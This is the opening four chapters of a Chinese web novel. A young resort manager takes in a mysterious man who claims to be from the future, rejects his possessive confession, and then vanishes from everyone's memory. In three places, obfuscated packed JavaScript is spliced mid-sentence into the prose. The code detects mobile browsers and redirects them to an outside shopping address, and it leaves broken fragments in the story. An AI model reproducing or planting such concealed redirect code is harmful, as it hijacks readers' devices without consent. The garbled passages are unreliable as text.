《贝器时代》 1. 第 1 章 夏风卷着热浪，咸津津的味道扑面而来。艾知喝了点盐汽水，擦了擦脑门子汗，继续开着小观光车在度假区四处巡视。尽管已在海岛生活了三四个月，艾知还是不太能适应这边潮湿的气候。 现在已是下午一点，海岛气温最高的时候，也是大多数度假区员工午休的时间，但艾知还在进行巡逻检查。其实作为新上任的五星级度假区的酒店经理本不需要做这些日常检查的工作，但为了酒店度假区的运营，她不得不小心提防着。 Nebula度假区的安保工作是整个海岛度假区做的最好的，但是曾经发生的一件事让谁都不能保证意外会哪一天降临。而恰巧这件事就发生在艾知刚来Nebula上任的第一天。 当时她还在跟着对接人领着熟悉度假区的地形地貌，当观光车路过一块热带植被花园，艾知眼睛尖，瞅见拐角处的棕榈树下有一只童鞋，本以为是哪个孩子丢失的，走过去一瞧竟发现一个面色潮红的男孩躺在那边。 男孩的样子显然是中暑了，艾知学过急救知识，抱起孩子让对接人开车带他们去最近的阴凉地方，在进行一番急救措施的同时，艾知又让对接人核查入住游客的信息，确认了男孩的身份，然后火速通知其家人赶来，事后又联系酒店对男孩及家人做出补偿。整个过程紧急且迅速，安排得明明白白，既没让孩子家长问责，也让Nebula度假区在一众度假区中赢得了口碑。让度假区全体员工对这位年仅25岁就成为酒店执行经理的艾知心服口服。 但能力越大，责任就越大，每中午的巡逻自然也就落在了艾知的头上。 艾知原本并不是酒店管理专业出身，大学学的是农业，21岁以优异的成绩大学毕业后没有听从辅导员的建议直接保研，而是直接选择找工作赚钱。农业专业出来的学生不读研，不考公，很难有立足之地，虽然艾知深知这一点，但她已经等不及了，她急需赚钱还助学贷款。 艾知是奶奶抚养长大的，对于小时候的记忆艾知一概都不记得，她的记忆是从五岁时被奶奶捡到时才有的。奶奶姓艾，但因为自己不识字是个农民，所以她希望自己捡到的这个粉雕玉琢的小女娃以后能够知书达理，所以起了个“艾知”这个名。 可惜奶奶身体不好，在艾知快要满15岁时去世了，往后的日子里，艾知就是靠着同样身为农民的淳朴的邻居们接济才慢慢长大。她上大学的钱还是邻居们给凑出来的。 村子没钱买机器，只能靠人力种植瓜果蔬菜和种植水稻。因为长期泡在田里劳作，奶奶一到阴雨连绵的天气，浑身作痛，看着奶奶不好受的样子，小艾知心疼的不行，于是暗自发誓一定要研发出好的科技产品助力辛苦耕作的像奶奶这样的农民。所以上大学填报志愿，艾知没有听从老师的意见，选法律或是金融，而是坚持填报了农业，只为了报答养大她的奶奶和邻居们。 “我是农民养大的孩子，农田是我的一切。”艾知一直信奉这句话，可在大学毕业面临找工作时，艾知却无法说出这句话。农业出身的大学生很难找到合适的工作，在与畜牧专业的同学竞争养殖场的一份月薪2500的工作中成功落选，理由是专业不对口。兜兜转转，在熟人牵线下，艾知因为形象不错，去了一家五星级酒店做前台。 生活总不如理想那么美，21岁的艾知觉得先赚钱也不错，赚到钱就有资格谈理想了。于是21岁到25岁的艾知，为了钱兢兢业业，从小前台升到前台主管，又因为爱学习能吃苦，经过轮岗，又从前台主管升到了值班经理，最后到了这家五星酒店的副总经理。 至于为什么来了Nebula度假区，也还是为了钱。人往高处走，水往低处流，艾知是一个审时度势的人，在老东家辛勤工作四年，本以为自己的职位已经高到可以为底层员工谋取该有的福利时，她却被不满她的人做了局，用极低俗的手段污蔑她拿了贵客的东西。尽管证据摆出，艾知是清白的，相关人士也向其道了歉，但艾知知道这里留不下她了，于是在人脉介绍下，艾知来了海岛，接管了营业额直线下滑快要跌出十强的Nebula。 艾知相信只要有田，想想办法就能耕地，酒店管理也是同样的道理，于是在高薪的诱惑下，艾知成为Nebula史上最年轻的执行总经理，同时也是最漂亮的。 艾知的美是杂糅的，既兼具春日草绿的清爽，又似盛夏光年的明媚，就像撒了金粉的野蔷薇，娇嫩但坚韧。挺拔秀气的鼻子增了英气，饱满的卧蚕又给温润的眉眼增了灵动，一动一静，却糅合的刚刚好。 也正如她的性子，顺应当下，争取做到最好。 刚开始工作的时候，艾知没少因为外貌受到骚扰，但都被她冷漠地避过去了，向她示爱的男人也有不少，但她全无心思。因此说她眼光高的言论便传开，大家私底下都在议论这位年仅25岁就稳坐Nebula执行总经理位子的年轻姑娘以后到底能被谁收服。 艾知不是不知道自己被大家议论着，她也不在乎，她要做的就是挣钱，攒钱，给村子的伯伯婶婶们买务农的机器，当年奶奶没享受到的福，她希望能让这些资助她的邻居们能感受到。 溜了一圈艾知没发现异常，正准备开着小观光车回去休息会，就收到了C组组长的求救信号，说他中午吃坏了肚子，请她代他去C区看一圈。Nebula度假区分ABCD组别，每个小组有专管的园区地方，其中C组管的是Nebula酒店的私人沙滩。 这也是Nebula名字的由来，海岛全域下只有这片沙滩的沙子质地特殊，夜间月光照射下竟能发出细闪的光，远远瞧见，就像云团中的点点星光，因此起名为Nebula，意为星云。 前些年倒是因为这个名号吸引来不少游客，但是只有晚间才能看见这样的奇异景象，再加上运营不善，其他新型酒店应势而起，所以渐渐地就没有多少人提起Nebula这独有的景观了。原来全国闻名的星云沙滩，现如今倒泯然众人了。C组负责人便懒懒散散，经常把活交给艾知。 艾知最大的问题便是不懂拒绝，一味让步，但是也没法，在她的策划案里C组负责的星云沙滩至关重要，她希望能再次将这个星云沙滩的名号打响，所以有的时候答应帮忙也是方便自己实地考察。 “谢谢啦！艾经理的大恩大德，小的不敢忘。我在Star吧台放了杯玫瑰冰露饮，你过去正好解解暑。” 还算有良心，艾知将观光车停下，自己则沿着石子路下坡走下去，打算去吧台取了冰凉的饮品后再去巡视。这一去，又是让艾知冷汗直冒—— 一个人瘫倒在白色的沙滩上。 尽管不知道那边躺着的人是什么情况，在向那人飞奔而去的路上艾知已通知了酒店的急救部门，自己则先去看看情况。全程不过十秒，艾知就已在脑海里想了无数急救和应急方案，以及真要出现意外情况度假区该如何公关。 “先生？先生？还有意识吗？”晕倒的是个年轻男人，不是园区的工作人员，看打扮也不像游客，更像是参加漫展的Coser。衣服的材质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400114|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟普通布料不同，更奇怪的是他浑身竟是干的，没有一点溺水的迹象，更像是低血糖直接倒下的感觉。 艾知先是探了探颈动脉，发现他还有脉搏，心里堵着的那口气才疏通。见他没反应，又检查了他的口鼻，这才确认这个奇怪打扮的年轻男人并没有溺水。艾知更加合理怀疑这个晕倒的男人是中暑或是低血糖了。 这大夏天的，穿着较紧身的不知道什么材质的长袖长褂，不中暑才怪呢。玩Cos也不能这么玩啊。手腕上还缠着稀奇古怪的手链，真是奇怪。 不过玩Cos的颜值都好高啊。Nebula因为星云沙滩，拍科幻照片十分出片，好多知名Coser都会来这边采景拍照。曾经Nebula还举办过沙滩秀。艾知也见过不少Coser，但像这么好看的男人却是第一次见。 他长得很好看，就像是按黄金比例套着西方雕塑雕刻的东方瓷人，五官锋利，眉眼却又温润到极致。看上去他年龄应该不算大，顶多二十。 艾知倒没因美色误事，还在烈日下努力想办法怎么靠自己一个人把他挪到旁边的阴凉地呆一会。眼见急救部门过来还要一小会，她又是一路小跑去海岸吧台取了那瓶玫瑰冰露饮，想喂给他。 而这个年轻的男人忽然在此刻缓缓睁开眼，艾知欣喜，刚想搭话问他现在感觉怎么样，结果他仅仅只是看了艾知一眼，又昏了过去。 恰巧急救部门的人赶来了，向艾知询问了男人的基本情况，为以防万一，他们还是叫艾知跟了过去。 经过检查，男人没什么大碍，由于没有登记游客信息，他的身份并不明晰，而且他身上也没有能证明身份的证件，他们只能先报警。 等待警察过来的时候，由艾知这位执行经理在这里照看这位昏过去的“睡美人”。 也不知道这个漂亮男人什么时候醒，艾知心里边又操心着度假区，渐渐地，她的心思又飘回到了工作，掏出手机开始处理起工作群信息。 艾知这个人一旦工作起来就非常投入，直到一阵连续的咳嗽声才引得她抬头。结果一抬头，就对上那双眸色幽深的黑瞳。不知怎的，艾知偏偏在这个一年四季都像夏天的地方感到一丝丝冰凉。 “你醒啦？好点了吗？”许是咳嗽了许久，自己才关注到这个眼神有些幽怨的小帅哥，艾知不免有点愧疚，“有哪里不舒服吗？” 漂亮少年没说话，艾知以为他是害羞，毕竟他看上去也没多大，就像刚上大学的大学生，艾知自然而然担任起姐姐的样子来。 “你别担心哈，我们已经通知了警察，如果你是被人欺负了，警察叔叔会保护你的。如果你想回家，等确认你身体没什么问题了，警察叔叔就联系你的家人送你回家。” 见男生没反应，艾知又问了一遍，这时男生才抬起头，试探性问道：“现在是几几年？” 完了，这孩子应该是把脑子磕坏了，现在几几年都不记得了。艾知很担心他会不会连自己叫什么住哪里都给忘记了，但现在最重要的是联系到这个男生的家长，获取他的身份信息。毕竟一个陌生人忽然晕倒在他们度假区是一件非常危险的事情，万一走漏了风声，对他们度假区的口碑都不是太好。 “现在是2025年7月25号。”瞅着男生没什么反应的表情，艾知又问了一嘴，“弟弟，你叫什么名字啊？怎么会忽然出现在我们Nebula的星云沙滩上呢？” 少年垂下眼睑，像是在思考什么，随后摇头，用极小声地说：“我不记得了。” 2. 第 2 章 最近，Nebula的员工们都听闻他们的执行经理艾知有位长相堪比人类建模的表弟过来探亲，由于这位叫“小识”的“表弟”的美貌实在是“人神共愤”，整个酒店有不少人趁着工作的机会溜过来偷看。 只有急救部门的同事和艾知自己心里清楚这位“小识表弟”的真实身份。 小识醒来的时候一问三不知，只记得自己今年21岁，其余的一概不知。他不记得自己的家在哪里，是怎么突然出现在星云沙滩上的。 他就像是凭空冒出来的一个人，警方不仅调查了四周的监控，排查了人口信息，也查不到小识的身份信息。 看着这个失忆的年轻男孩子孤零零地坐在警局的椅子上，作为“案发”第一现场的见证人以及Nebula度假区的执行经理——艾知，心下不忍，当即一拍桌子，决定暂时担负起照顾小识的职责。 他们对外宣称艾知有位表弟来探亲，让他以员工亲属的身份暂住Nebula，等着男生状态好一点了再做下一步打算。 “小识”这个名字也是情急之下艾知根据自己的名字起的。 她叫“知”，那她的表弟就叫“识”。正所谓“知识改变命运”，艾知就是通过读书才有了如今的生活，所以作为艾知的表弟，那“小识”自然也得温文尔雅，知书达理。 不过艾知还是多虑了，小识显然受到过高等教育，不仅如此，更像是顶级精英家庭教育出来的孩子，待人接物谦逊有礼，且知识储存量大大超过艾知的预想。 有天艾知在观望台用望远镜看星星，小识也在跟前，直接用肉眼就指出了艾知观察的夏季大三角。 “你对星星很有研究哇。”艾知从小就喜欢看星星，乡下的夜晚要比城里的更亮，能看见的星星更多，小的时候艾知就会搬来小板凳趴在奶奶的腿上，跟奶奶认天上的星星。 奶奶不识字，但是她懂得很多东西，知道很多故事，认得很多星星，对星空的喜爱也是打小奶奶带来的熏陶。后来换工作，知道了Nebula名字的由来，艾知便决定留下来，希望能够不辜负星云这样的名字，让Nebula能再次星光闪耀，成为海岛最亮的星。 “嗯，也还好，小时候常看而已。” “……”艾知犹豫了一会，还是开了口，“小识。” “怎么了？”小识转头。 望着那张过分好看的脸，艾知停顿了半秒，说道：“其实我是我奶奶教会我看星星的。我奶奶教我的，我一直都没忘。” 聪明如小识怎么会听不懂艾知的话外音，他静默了会，从艾知身旁站起身，因比艾知高出不少，她便仰头看他。 少年背对浩瀚星空和苍茫山海，海风将他的头发轻微吹动，月夜的光洒在他瓷白的皮肤上为他渡上了一层圣洁的光。那双淡漠又疏离的眼睛是艾知在黑夜中一眼捕获的最亮的星星。 他下垂的眼睛看向艾知的眼神似是悲凉，又像做错事般的小心翼翼。 “艾知，抱歉，我骗了你，我并没有失忆。” 没了太阳的直射，有陆风的夜间海岸边多了凉爽之意，相比较艳阳高照，艾知更喜欢海岛的夜晚。许是天气好，心情不错，艾知笑了笑，也随之站起走向栏杆处，迎着风看向遥远的海的那边。 海风吹乱了艾知才洗好的头发，艾知解下丝巾又重新系好，转身面向谎言被识破而有些局促不安的小识，浅浅一笑：“没关系，谁都有不想说或是想隐瞒的东西。” “我……” 小识语迟，艾知走过来垫脚拍了拍小识的肩，让他坐下：“我不喜欢被骗，你能坦诚地告诉我这些就已经很好了。” 她端起旁边开了口子的牛奶椰递到小识手上：“虽然不知道你为什么出现在这里，但我觉得你没有恶意。在这里你还是我的弟弟，你依旧可以继续生活在这里。我会等到你愿意说出为什么来这里的那个时候。” 艾知说完打算离开回去休息，却被小识叫住：“艾知……” “怎么了？”艾知转身。 “我叫迟载。” “好啊，迟载。不过既然你住在这里，是我的弟弟，那你还是叫小识。”艾知打了个哈欠，并未因迟载说出真名而有什么特别的反常态度，就像平常那样朝他摆摆手，“早点休息，我明早七点就得起来工作了。” 就像奶奶当初收留艾知那样，艾知也同样收留了化名为小识的迟载。在往后的日子里，艾知想，如果最初能够保留这段年岁的记忆而不被抹除，她与迟载也不会走到分崩离析的状态。 要是—— 他们最初并不相识就好了。 夏去秋来，Nebula迎来客流量的一个小高峰。艾知每天忙的不可开交，周旋于各个部门，只有晚间吃饭的时候，小识才能看见艾知的身影。 小识通过艾知的关系，在度假区找到一份临时工的活计，之前的导向员离职了，前台部听说艾知有个长得很帅的表弟，心生一计，让小识来顶替，等招聘到合适的人选了再替换。 小识本人自是没有任何意见，他早已熟悉度假区的各区域，对于各个园区的情况早就了如指掌，记东西更是比刚来的艾知还快。大家都夸艾知家基因好，姐弟俩长得好不说，脑瓜子真的是一个顶一个的厉害。 相反，对于小识的任职，艾知则多了些顾虑，她总觉得让他当一个小小的导向员是屈才. “我觉得现在这样挺好啊，工作轻松，也不算吃你的白饭。”现在已是小识当向导员的第二个月，他习惯性将工资上交，说自己拿钱也没什么用，不如让艾知替自己保管，等自己要用再找艾知拿零花钱。两人倒真像亲人般相处起来，只是小识从不喊艾知姐姐。 手机放在旁边，“滴滴”地响个不停，艾知只能一遍又一遍放下筷子点开群消息，看群员说了什么。 “好好吃饭，一心二用对消化系统不好。”小识抽走艾知的手机，让她安心吃饭。 艾知觉得还是太惯着这孩子了，竟然敢直接拿自己的手机命令自己，她刚想说话，小识将剥完了皮的虾塞到艾知嘴里，堵得她什么都说不出来。 “我都好久没和你一起吃晚饭了，几天不见你又瘦了好多。先吃饭，没有什么比你吃饭还重要了。工作一时半会离了你也能行。”小识面不改色，依旧在剥虾。 艾知嘴里塞着虾，一时半会说不出话来，一边快速嚼着虾仁，一边睁着她那双下垂狗狗眼瞪小识。 这段时间艾知的确清瘦不少，下巴愈发的小巧，因为脸颊没什么肉，显得眼睛更黑更亮了。小识觉得艾知很像他小时候在犬类博物馆看见的犬类。很可惜，他们那里机械宠物很常见，真正能够跑起来，能跟人类互动的动物寥寥无几。 “姐弟俩感情这么好呢，弟弟帮忙剥虾，姐姐等着吃。”前台总监琳达端着餐盘坐到小识旁边，身上的香水味老远就能闻到。 “弟弟，你不介意我坐这儿吧？”琳达长得很漂亮，肤白貌美大长腿，性感大美人。据说大学的时候参加了模特小姐比赛，拿了冠军。至于为什么来这边做酒店前台总监，就没人知道了，不过她跟艾知关系很好，经常在艾知巡视的时候，像照顾小朋友似的，悄悄塞给她一些小零食。 “我叫他给我剥的。”艾知笑了笑，“琳达姐，他不介意的。” 谁都没注意到小识不动声色地往旁边空位挪了挪。 “我的小知宝，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400115|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天我怎么没瞅见你往我那边去？还在忙星云沙滩策划案啊？不过忙点好，我听说老板对你的这次策划案很重视。”琳达接替了小识的工作，给艾知又剥虾又剥鸡蛋的，“你看你瘦的，我看着都心疼。” 不知为什么，也许是假姐弟，又或是艾知没有兄弟姐妹的缘故，面对小识对自己的亲近，艾知心里总有些怪异。有琳达在身边，艾知要舒服的多。她便欣然接受琳达为自己剥虾，并且吃得很开心。 见艾知只吃琳达的东西，小识灌了几口冰水也没压下去心中渐生的烦躁，喉结滚动了几下才吐出一句“我吃好了”。他站起身，安静地等待艾知同他一块离开，因为之前他们都是一起走的，这次他不觉得艾知会让他一个人先走。 结果，艾知偏偏没遂他心意：“噢好，我再跟琳达姐说几句话。你先走吧。” 望着少年冷着一张脸扭身就走的背影，琳达问：“知宝，你弟心情好像不是很好。你们家是不是从小就惯着你弟啊？” 艾知的家庭情况几乎很少跟外人提起，自己一个人在这个世上打拼，有些事情还是不必要让过多的人知道。 “嗯，给他惯的。”艾知继续吃饭，本想掏手机看一眼消息，忽然想起那家伙把自己手机拿走了。 好在今晚艾知不值班，手机被小识拿走了也没什么大碍，但常年来的生活习惯，让艾知没有办法离开手机太久。 此刻的艾知如坐针毡，连饭都吃不下：“琳达姐，我得去找一下我弟。” “妈呀，你不会怕你弟生气要去哄你弟吧？你以后要是有了男朋友该怎么办？你男朋友难道不吃醋？” 艾知哪里还管得了什么男朋友不男朋友的事，拿回手机才是最要紧的事，她急急忙忙跟琳达告别，就去了员工宿舍。 “小识？在吗？我是艾……姐姐。”艾知站在员工宿舍801门口，敲了又敲小识的门。 Nebula的员工待遇还不错，除去在本地有家的职工，剩余的每一位都有自己的专属宿舍，宿舍不算大，但30来平一居室的面积也足够一个人住了。刚开始小识是跟艾知住的，每天清晨艾知醒来从卧室出来，看见这个一米□□的大男孩缩在自己客厅的那张一米五的沙发上，心里都有些愧疚，所以艾知一听说男员工宿舍有了空缺，她第一次动用人脉关系把小识安排了进去。 刚开始小识还不愿意，但艾知说男女有别，他俩住一起不合适，小识只得搬了过去，不过好在两人住隔壁楼，离得不远。 敲了许久，里面没人来开门，艾知不免着急，没曾想竟惊动了住在隔壁802的C组组长乔仁。 “诶？你怎么在这儿？”乔仁开了门，往外探头。 “我找我弟，我找他拿东西。”艾知转念一想，她是抄小道来的宿舍楼，万一小识没她走得快，所以宿舍现在没人呢。 乔仁点点头，若有所思般停顿了几秒，随后开口：“你弟也许还没回来呢，要不先回我屋坐一会？” 面前801的门忽然从里打开，一只手从里伸出将艾知拉了进去，艾知那声“不用”也不晓得乔仁听没听见。 “刚才你怎么没开——”艾知戛然而止，抬眸后眼前的一幕让自己硬生生断下想说的话。 好一幅绝妙的美人出浴图啊！ 水滴顺着湿漉漉的发丝滑淌至白嫩的胸肌，然后又流向了下身围裹的浴巾。许是刚出浴室的缘故，原本天生自带距离感的略微下三白的黑瞳在水汽的氤氲下泛着点红，此刻正一瞬不瞬地低头望着原本蹙着眉而后变得有些呆滞的艾知。 “不好意思，我刚刚在洗澡，没听见你喊我。”男人轻轻松开了艾知的手腕，眼中透着一丝无措与无辜。 3. 第 3 章 艾知显然是被近距离的美色冲击到了，才堪堪回神：“啊……没事……也怪我，我不知道你在洗澡，嗯……对，不介意我进来呆一会吧？” 小识扑哧一声笑出来，靠在墙边，歪着头瞅着艾知，也不说话。艾知正奇怪，待想起自己刚刚说的话，脸色迅速蹿红。 “不是，我不是那个意思。”艾知活了25年，头一次这么近距离地接触男色，不知是慌张的，还是因为什么，吞了一口口水，半个身子贴向门口，已然忘记自己是要来干嘛的。 “如果你不方便的话，我待会再过来。” 听到艾知要走，男人立刻收回笑容，丢下“回去穿衣服”就进了里间卧室，留下艾知四处乱瞟。 没想到这小屋子被小识打理的还算井井有条，艾知的手机放在客厅的小茶几上，见没有消息弹出，艾知这才放下心打量起小识的单人宿舍。小识这屋子在他第一次搬进来的时候，艾知来过一次，此后便再也没来过，两人遇见的时间只有晚间吃饭和散步。现在因为工作忙，晚上都很少碰到。今晚还是小识强烈要求见一面，说工作遇到问题了，两人才碰头吃个饭的。 艾知发现小识在客厅养许多绿色植物，但是不知道是不是缺水的缘故，好多盆绿植都有些蔫巴。艾知便拿着水壶给它们一一浇水。 “我不知道怎么养这些绿色的生物。”小识已换好衣服坐在艾知旁边，看着艾知翻土除小杂草。 艾知并未在意小识说话的奇怪：“其实植物和人一样，知道它们缺什么给什么就行，很好养的。” “那你缺什么？” “我缺钱和爱啊。”艾知头也没抬，紧接着就答，真心伴着笑说出口反倒不像真的，“所以说小识你好好努力，将来混发达了，给姐介绍个有钱又帅的姐夫。” 身边的人半晌都没回话，艾知也没在意，想着时间不早了，于是起身去拿茶几上的手机，结果手腕被小识拉住。 “艾知，我可以。” “什么可以？你真有合适的男生给我介绍啊？”艾知眨眨眼睛，想着找个机会溜出去，“时间不早了，你该休息了，明天再跟我介绍你认识的帅哥哈。现在我也得——” “我是说我可以给你想要的爱和钱。” 脑子里仿佛有什么东西忽然“砰”的一声炸开，给艾知炸得零零碎碎的。 “小识……你应该是没听懂我的意思。我说的爱不是——” “我喜欢你，我想做你的恋人，我能给你想要的一切。”男人紧紧盯着艾知的脸，不想错过她的任何一个表情，“叫我迟载，艾知。” 艾知不明白这孩子受了什么刺激，大晚上的昏了头跟自己告了莫名其妙的白，在这儿装什么霸道总裁。可能是之前那次晕倒还没把脑子理清楚。但是既然话题是她挑起来的，她就有必要纠正这孩子跑歪了的脑回路。 她咬了咬牙，用右手拍了拍攥住自己左手腕的那只修长的手，耐心地开解道：“弟弟，我们之间的确是有爱的，就像亲人之间的爱。钱嘛，姐姐其实也不缺，也不需要你做向导员的工资，所以我说那些就是开玩笑啦。你现在小，还不理解什么是恋人。等你真正遇到一个满心满眼都是你的人时，你自然就会想给她爱。” “我没有开玩笑，我说的也都是真的。艾知，其实我不是这里的人，我来自365年后的未来，我是第二区首辅之子，我非常有钱。你跟我走，你可以不用工作就有享不尽的财富。” 原先艾知还是担心的，听见小识这样说，反倒卸下担子。这孩子不仅玩cos，绝对还是赛博科幻小说的忠实粉丝。 “孩子，游戏可以玩，动漫和小说可以看，但是千万别把自己沉浸进去啦。你是不是工作太累，没休息好啊？” 小识，也是迟载，并未言语。他松开艾知，解下自己一直戴在右手手腕上的手环，摊放在手掌心上。夜色下，手链上面忽然出现一扇发着荧光的幽蓝悬空小门，小门里映射着的景象竟与科幻电影中的别无二致。 “你这个投影仪还挺别致啊，很迷你。”但若是拿这个糊弄艾知，那艾知这25年岂不是白混的。 投影仪？迟载微眯眼睛，他没想到父亲给他的时空镜门竟被艾知当成他们孩童时期上课使用的立体投影仪。 也是，这个年代的人才刚刚接触科技没多久，想象力自是有限。 不懂没关系，迟载多的是耐心慢慢教她了解他们的那个时代。 握在手中的手机此刻传来铃声，艾知还没看清是谁打来的，就被迟载夺走，然后按了挂断键，整个屋子再次充斥着诡异的寂静。 “弟弟，你这样就不可爱了哦，快把手机给我，拿姐姐手机可不是好弟弟，听话哈，我有工作的事情要处理呢。” 艾知踮起脚想去够，结果被迟载一把拉入怀中，男人要比艾知高出一个头，低首对艾知附耳道：“我父亲母亲就生了我一个，我可没有什么姐姐弟弟的。” 从前的乖乖弟弟全然是迟载的伪装，夜色覆盖下的男人就像一只锁定猎物的蛇，占有与攻击并存。 感受到一丝危险气息的艾知大脑飞快运转，与眼前这个男人硬碰硬肯定行不通，当下仅能示弱才能让她有机会逃脱。 “好好好，我不当你姐姐了，好不好？我也不强迫你喊我姐姐了，你愿喊我名字就喊，你喜欢就好。” “哦？是吗？称你为我的爱人，好不好？” “那你先把我放开，我的手都被你攥疼了。”艾知软下调子，娇嗔般瞪了迟载一眼。 迟载果真乖乖松开艾知，艾知松下一口气，心想孩子还是年轻，好骗。于是她半蹲下来，装作腿软似的找靠近宿舍门的方向，待迟载单膝跪地想来检查她的腿时，艾知趁机迅速跑开，然后将门用力关上，一口气跑走了。 她的宿舍暂时是住不了，小识知道她住哪里，琳达跟小识不熟，所以躲琳达那才是最好的办法。手机暂时就不要了，她还有备用机，艾知回自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400116|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿舍取了备用机和银行卡后，拿了点贴身衣物就去找琳达了。 琳达从未见过这么慌里慌张的艾知，直觉告诉她艾知晚上发生的事情绝非简单，同样是女人，艾知的直觉告诉自己迟载也绝不是说着玩玩的。他这么坚定，往后也一定会继续拿这事来胁迫她。两人的事情一旦闹大，她被戳脊梁骨不说，工作首先就难保，毕竟在外人眼里他俩是姐弟。 所以要想保全这份工作，往后的日子没有担忧，艾知必须暂时离开一段时间，正好她的年假一直攒着没休，这次索性就当度个假了。她需要冷静一段时间，迟载同样也要，说不定等她回来的这段时间内迟载的家人就把他找回去了，又或是他想通了，感受到了她的拒绝和冷淡，不再对她有什么乱七八糟的想法了呢。 想到这些艾知的心里稍稍好受了些，她拜托琳达替自己请了假后，火速购买了飞机票，打算今晚就“夜逃Nebula”。 艾知这些天在北方玩的很开心，一个人自由自在，没了工作消息的困扰，也没有游客的刁难，更远离了老板会上婆婆妈妈老一套的说教。 她一个人背着小书包游山玩水，看了与海岛截然不同的风景，品尝了许多北方特色小食，每天就是一边逛，一边找路边小吃垫垫肚子。有一天，她爬完山，实在累极，决定找个小馆子好好犒劳一下自己。 刚坐下，艾知就感到有些眼花，许是室内雾气缭绕的，旁边食客的煤炉锅子还在烧着，艾知揉了揉眼睛，打算招呼服务员拿菜单点菜。 一伸手，她怀疑自己的眼睛出问题了，她看到自己的手出现了一块又一块的斑点，这些斑点正以肉眼可见的速度在她手上扩大蔓延，更让她崩溃想要尖叫的是，这些斑点在一点点地吞噬她的肉身，她的手出现了一个又一个大小不一的□□，更可怕的是，她完全感知不到疼痛。 再一个眨眼，艾知竟凭空消失了。 走到艾知那张餐桌，打算问客人想吃些什么的服务员忽然愣住，这桌明明没有人，桌面也是干净的，他半个小时前才过来擦过，所以他为什么要过来呢？发现手里还有一本菜单，他环顾四周也没有人找他要菜单，想着自己肯定听岔了，于是拿着菜单回了前台。 而远在海岛的琳达正准备给艾知发消息，说已经有好几天没见到迟载时，脑子忽然空白一片，刷着通讯录竟忘记了自己刚刚要找谁发消息。想了好半天琳达也记不起自己刚刚打开微信的目的，不过她也不是折磨自己的性子，想不起索性就不想了，跟男友包起电话粥来。 C组组长乔仁又想偷懒，要找艾知请假时，旁边正好有人找自己搭话，再回过神来，开始思索两个问题：他们没有执行经理，他是不是要找总经理请假？那他这次的理由又是什么呢？ 好像一瞬之间，所有人都忘记了艾知，就像被刻意删除似的，艾知从这些人的回忆中被抹掉了痕迹。灰落在地上还有点印子，而艾知则是消失得干干净净，好似她就没到这个世上来过一样。 4. 第 4 章 “L528舰船即将着落，请系好安全带，切勿四处走动。” 机舱内熟悉的提示音响起，迟载放下军事演习模拟盘，透过舱室的超高硼硅玻璃窗散漫随意地瞥了眼第二区无比熟悉的景色。 阳光下折射出迟载手腕上的通讯仪按钮蓝盈盈的光，脑海忽然浮现一句“你这个投影仪还挺别致啊，很迷你”勾得他隐隐发笑。 “许久不见您露出这样开心的笑容了。”机器人小伽最近读了一本霸总古言小说，沉迷得不得了，看到男主身边有位管家，便代入自身，学着小说里管家的样子欣慰地说道，“多少年了，我是头一次见公子对一位女人这么上心。” 眸光骤寒，迟载那双下三白的眼睛冷冷扫了小伽一眼，轻飘飘甩出一句话：“你下次再敢探读我的内心，我就把你送去报废区。” 报废区是所有机器人闻风丧胆的地方，那里俗称“机器生命终结地”，任何机械只要掉进那个大熔炉，小命立刻玩完。 “呜呜呜小的下次再也不敢了。” 小伽的电子眼此刻已是泪流满面，生怕自己再多说一个字就真被自家公子送去报废区。毕竟自家的迟公子真是说一不二的性格，给他惹毛了是真的有可能被送去报废区的。 小伽狗腿似的飞快运转算法，试图找什么话来破解当下他与他的主人迟载的尴尬问题。说来也巧，迟载的通讯仪传来简讯，迟载没再理会小伽，点开来听。 “小识哥哥，你今天还来看我吗？昨天的历史课你还没给我讲完呢。” 女孩宛若铃铛般清脆的语音从通讯仪传出，迟载原本冷下去的脸又恢复往常，用小伽从未听过的语调，温柔地回复道：“嗯，待会就过来了。” 迟载停顿半刻，又发了条语音过去：“艾知，晚饭有好好吃吗？” 小伽感觉自己电板短路了，他半个月前趁着迟载进入深度睡眠的时候，偷偷探读迟载的记忆，发现他对一个叫艾知的长得很灵气的25岁女人陷入了暗恋这种人类称之为酸□□恋的情感中。怎么今天他对着一个小姑娘叫“艾知”这个名啊？ 他不就是回迟家给跟他同日被创造出来的机器兄弟大伽替了两天班吗？ 难不成他家公子换了个人喜欢，还是搞白月光替身文学？ 瞥到小伽因八卦而亮起的星星电子眼，迟载太阳穴的青筋突突直跳，内心十分后悔那几日让小伽离了自己回家替班去了。 “我有个人需要你照顾。” 难怪今天公子要他规划导航去迟家的郊区别墅呢，原来金屋藏着娇啊。 